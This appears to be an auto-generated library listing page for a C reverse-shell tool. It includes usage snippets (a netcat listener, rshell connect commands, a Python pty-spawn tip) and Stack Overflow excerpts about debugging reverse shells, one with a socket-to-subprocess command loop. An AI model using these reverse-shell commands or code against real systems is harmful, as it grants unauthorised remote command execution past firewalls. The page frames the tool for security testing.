reverse-shell | A simple reverse shell | Security Testing library

 by   pticon C Version: v1.1.0 License: BSD-3-Clause

kandi X-RAY | reverse-shell Summary

kandi X-RAY | reverse-shell Summary

reverse-shell is a C library typically used in Testing, Security Testing applications. reverse-shell has no bugs, it has no vulnerabilities, it has a Permissive License and it has low support. You can download it from GitHub.

A reverse shell is a network tool that grants shell access to a remote host. As opposed to other remote login tools such as telnet and ssh, a reverse shell is initiated by the remote host. This technique of connecting outbound from the remote network allows for circumvention of firewalls that are configured to block inbound connections only.
Support
    Quality
      Security
        License
          Reuse

            kandi-support Support

              reverse-shell has a low active ecosystem.
              It has 6 star(s) with 3 fork(s). There are 1 watchers for this library.
              OutlinedDot
              It had no major release in the last 12 months.
              There are 0 open issues and 1 have been closed. On average issues are closed in 1 days. There are no pull requests.
              It has a neutral sentiment in the developer community.
              The latest version of reverse-shell is v1.1.0

            kandi-Quality Quality

              reverse-shell has 0 bugs and 0 code smells.

            kandi-Security Security

              reverse-shell has no vulnerabilities reported, and its dependent libraries have no vulnerabilities reported.
              reverse-shell code analysis shows 0 unresolved vulnerabilities.
              There are 0 security hotspots that need review.

            kandi-License License

              reverse-shell is licensed under the BSD-3-Clause License. This license is Permissive.
              Permissive licenses have the least restrictions, and you can use them in most projects.

            kandi-Reuse Reuse

              reverse-shell releases are available to install and integrate.
              Installation instructions are not available. Examples and code snippets are available.

            Top functions reviewed by kandi - BETA

            kandi's functional review helps you automatically verify the functionalities of the libraries and avoid rework.
            Currently covering the most popular Java, JavaScript and Python libraries. See a Sample of reverse-shell
            Get all kandi verified functions for this library.

            reverse-shell Key Features

            No Key Features are available at this moment for reverse-shell.

            reverse-shell Examples and Code Snippets

            reverse-shell,Usage
            Cdot img1Lines of Code : 14dot img1License : Permissive (BSD-3-Clause)
            copy iconCopy
            usage: rshell [options]   [peer]
            arguments:
                    host        : mandatory specific host to bind or connect (could be "any" in listen mode)
                    port        : mandatory specific port to bind or connect
                    peer        : optional peer address   
            reverse-shell,Example
            Cdot img2Lines of Code : 3dot img2License : Permissive (BSD-3-Clause)
            copy iconCopy
            nc -lp 4445
            
            ./rshell -l 127.0.0.1 4445
            
            ./rshell 127.0.0.1 4445
              
            reverse-shell,Tip
            Cdot img3Lines of Code : 1dot img3License : Permissive (BSD-3-Clause)
            copy iconCopy
            python -c 'import pty; pty.spawn("/bin/bash")'
              

            Community Discussions

            QUESTION

            Crypto Reverse Shell in Python3 - cd command does not change directory
            Asked 2021-Jun-27 at 18:12

            The crypto server is started on a Kali Linux virtual machine, whereas the client shell is started on a Windows 10 virtual machine.

            The reverse shell works. A connection is established and is persisted. I can run all types of commands from the shell such as - ifconfig, dir, ls, systeminfo, netstat, etc. However, the only problem is that I cannot enumerate the virtual machine's directories using the - "cd & cd .." command.

            If I type cd from the Linux's shell I don't receive any errors neither the connection is closed. It seems like it executes the command on the Windows machine, but it does not return any response back.

            I know that the question has been asked in the past and I have looked through the threads:

            1.python3 - cd is not working in reverse shell

            2.Reverse Shell Command with Python command gets stuck when trying to change directory

            3.Subprocess changing directory

            4.Equivalent of shell 'cd' command to change the working directory?

            which I did not find helpful

            I think I understand the nature of the problem, but I do not know how to address it. If anyone has any idea of what might be causing this behaviour, I would appreciate the help.

            This is the crypto client shell

            ...

            ANSWER

            Answered 2021-Jun-27 at 18:12
            while 1:
            
                encrypted_command = s.recv(1024)
                ...
                proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
                ...
                s.send(encrypted_response)
            

            Source https://stackoverflow.com/questions/68153581

            QUESTION

            How can I clean up the popen output of my C program?
            Asked 2020-Aug-19 at 21:24

            I am rewriting a simple reverse-shell program I made in python, now in C.

            The program is supposed to be trying to connect to a host(netcat listening on the specified port) and then take the output from nc, sent over a tcp socket, and make a system call using popen() and then send back the terminal output via the socket connection to nc where it is displayed.

            When I try sending commands the program returns what I requested, but also some giberish.

            Ex.: /Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu@Ԓ`? ??????0d?r?

            (Output from nc in terminal, this was a 'pwd' command)

            I also seem to have some kind of problem where a buffer isn't cleared? When I use the 'say' command(say [sentence] ) MacOS is supposed to use voice the sentence. This happens, but only the 2 first letters of the argument after 'say'(the 2 first characters of the sentence) and then says an earlier string. ('Successfully connected!')

            Ex.: (command: 'say hello')

            heSuccessfully connected!

            I have tried to open the FILE stream in different places and

            Code (after socket setup and connection):

            ...

            ANSWER

            Answered 2020-Aug-19 at 21:01

            I think your main issue is here:

            Source https://stackoverflow.com/questions/63494705

            QUESTION

            How to interact with a reverse shell in Rust?
            Asked 2020-Apr-23 at 05:48

            OpenBSD's Netcat implementation listens on a port with unix_bind()... basically the same behavior as Rust's TcpListener::bind(). Where I got lost in writing my listen function (emulating nc -l -p ) is how to interact with reverse shells.

            As seemingly trivial as it sounds, I want listen to give me the sh-3.2$ prompt like nc -l -p does. All the Netcat-Rust implementations I dug up online don't allow me to interact with reverse shells like that.

            Reverse shell code (Machine 1): (adapted from this question I asked years ago)

            ...

            ANSWER

            Answered 2020-Apr-23 at 05:48

            Basically, we want to have two bi-directional redirections - one from stdin to the stream, and the other from stream to stdout.

            We can accomplish this using the generic pipe_thread function below, which creates a dedicated OS thread for this (can be done more efficiently, but we want simplicity). In listen, we spawn two threads like this, and wait for them to terminate.

            Source https://stackoverflow.com/questions/61297668

            Community Discussions, Code Snippets contain sources that include Stack Exchange Network

            Vulnerabilities

            No vulnerabilities reported

            Install reverse-shell

            You can download it from GitHub.

            Support

            For any new features, suggestions and bugs create an issue on GitHub. If you have any questions check and ask questions on community page Stack Overflow .
            Find more information at:

            Find, review, and download reusable Libraries, Code Snippets, Cloud APIs from over 650 million Knowledge Items

            Find more libraries
            CLONE
          • HTTPS

            https://github.com/pticon/reverse-shell.git

          • CLI

            gh repo clone pticon/reverse-shell

          • sshUrl

            git@github.com:pticon/reverse-shell.git

          • Stay Updated

            Subscribe to our newsletter for trending solutions and developer bootcamps

            Agree to Sign up and Terms & Conditions

            Share this Page

            share link

            Explore Related Topics

            Consider Popular Security Testing Libraries

            PayloadsAllTheThings

            by swisskyrepo

            sqlmap

            by sqlmapproject

            h4cker

            by The-Art-of-Hacking

            vuls

            by future-architect

            PowerSploit

            by PowerShellMafia

            Try Top Libraries by pticon

            klog

            by pticonC

            aker

            by pticonC

            ipblocker

            by pticonShell

            stunnel

            by pticonC

            curly-bash

            by pticonShell